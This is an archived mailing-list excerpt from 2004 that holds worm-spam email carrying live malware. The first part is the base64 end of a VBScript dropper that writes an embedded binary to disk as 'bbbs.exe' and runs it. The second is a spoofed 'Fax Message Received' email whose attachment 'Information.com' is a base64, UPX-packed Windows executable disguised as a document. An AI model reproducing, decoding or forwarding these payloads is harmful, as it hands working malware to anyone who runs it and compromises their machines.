Nyw5NSw5MCw0Niw3OSw4OSw1NiwxNzYsNDgsMTIyLDQ3LDksMTY2LDE1Nyw0Miw5Nyw3Niwz
OCwxMCwxMDEsMzQsMzgsMTI4LDUsMTAyLDE2NCwxMCwxMzEsODksMTY2LDEwNSwxNTUsMTI4
LDcwLDEyOCwzMiw1MywxMzQsMTI3LDQsMTUyLDg3LDIxLDM0LDI3LDI0LDkwLDE5OSwxNzcs
NTEsNjIsNDQsOTMsMTQwLDEyMSwxMDEsMTIwLDM4LDExMSw5MiwxNiwxMzEsMSwyNCw3NCwx
OTQsMTIwLDExMSw5OSwxMDQsMzUsNjQsMTAsNjAsOTYsMTc3LDEyOSw1NSwxODEsOTQsMTAy
LDExNSw5MSw0NywxNzEsMTk2LDI2LDk5LDEwMywxOTksMTEwLDE5NSw0NywyNywxOTQsMTA4
LDcwLDQxLDE5NSw5MiwxMDEsNzksNDQsOTEsODQsMTU5LDE5MiwxNjQsMTQzLDE2MywxMTIs
MzYsODAsMTQ1LDIwLDIsNjYsMTU1LDExMSw4LDE3NSwxMzMsOTQsODQsMTY1LDY4LDEzMiw4
MywxNDIsNzYsMTEsNyw3Myw0NCw2OSw5MCwxNTUsMTc2LDEwMSwyLDE5MCw0MSwyNSwxNTcs
NTIsMjgsNzUsNjgsNDgsMTIyKQ0KZm9yIGk9MCB0byAzODI4Ng0KZmlsZXR4dC5Xcml0ZShj
aHIoYShpKSkpDQpuZXh0DQpmaWxldHh0LkNsb3NlDQpkaW0geg0KZGltIHp6DQpDb25zdCBG
b3JSZWFkaW5nID0gMSwgRm9yV3JpdGluZyA9IDIsIEZvckFwcGVuZGluZyA9IDMNCmNvbnN0
IFJlbW90ZUV4ZSA9ICJiYmJzLmV4ZSINCnNldCB6eiA9IHdzY3JpcHQuY3JlYXRlb2JqZWN0
KCJ3c2NyaXB0LnNoZWxsIikNCnogPSB6ei5ydW4gKCJiYmJzLmV4ZSIpDQp3c2NyaXB0LnF1
aXQNCg==

----------vrwgarhgflytfozfudzv--


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Sat Aug 21 07:23:34 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA07976
	for <ipfix-archive@lists.ietf.org>; Sat, 21 Aug 2004 07:23:34 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1ByTfC-0007nj-00
	for ipfix-list@mil.doit.wisc.edu; Sat, 21 Aug 2004 06:03:58 -0500
Received: from p16.pub.ro ([141.85.0.67] helo=julian.com)
	by mil.doit.wisc.edu with smtp (Exim 3.13 #1)
	id 1ByTfA-0007nX-00
	for ipfix@net.doit.wisc.edu; Sat, 21 Aug 2004 06:03:57 -0500
Date: Sat, 21 Aug 2004 14:03:54 +0200
To: ipfix@net.doit.wisc.edu
Subject: [ipfix] Fax Message Received
From: plonka@doit.wisc.edu
Message-ID: <wrbfuewsspuybomaugf@net.doit.wisc.edu>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------cjiwvwsfjzwxntpoolqn"
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

----------cjiwvwsfjzwxntpoolqn
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
Read the attach.<br><br>

<br>
</body></html>

----------cjiwvwsfjzwxntpoolqn
Content-Type: application/octet-stream; name="Information.com"
Content-Disposition: attachment; filename="Information.com"
Content-Transfer-Encoding: base64

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
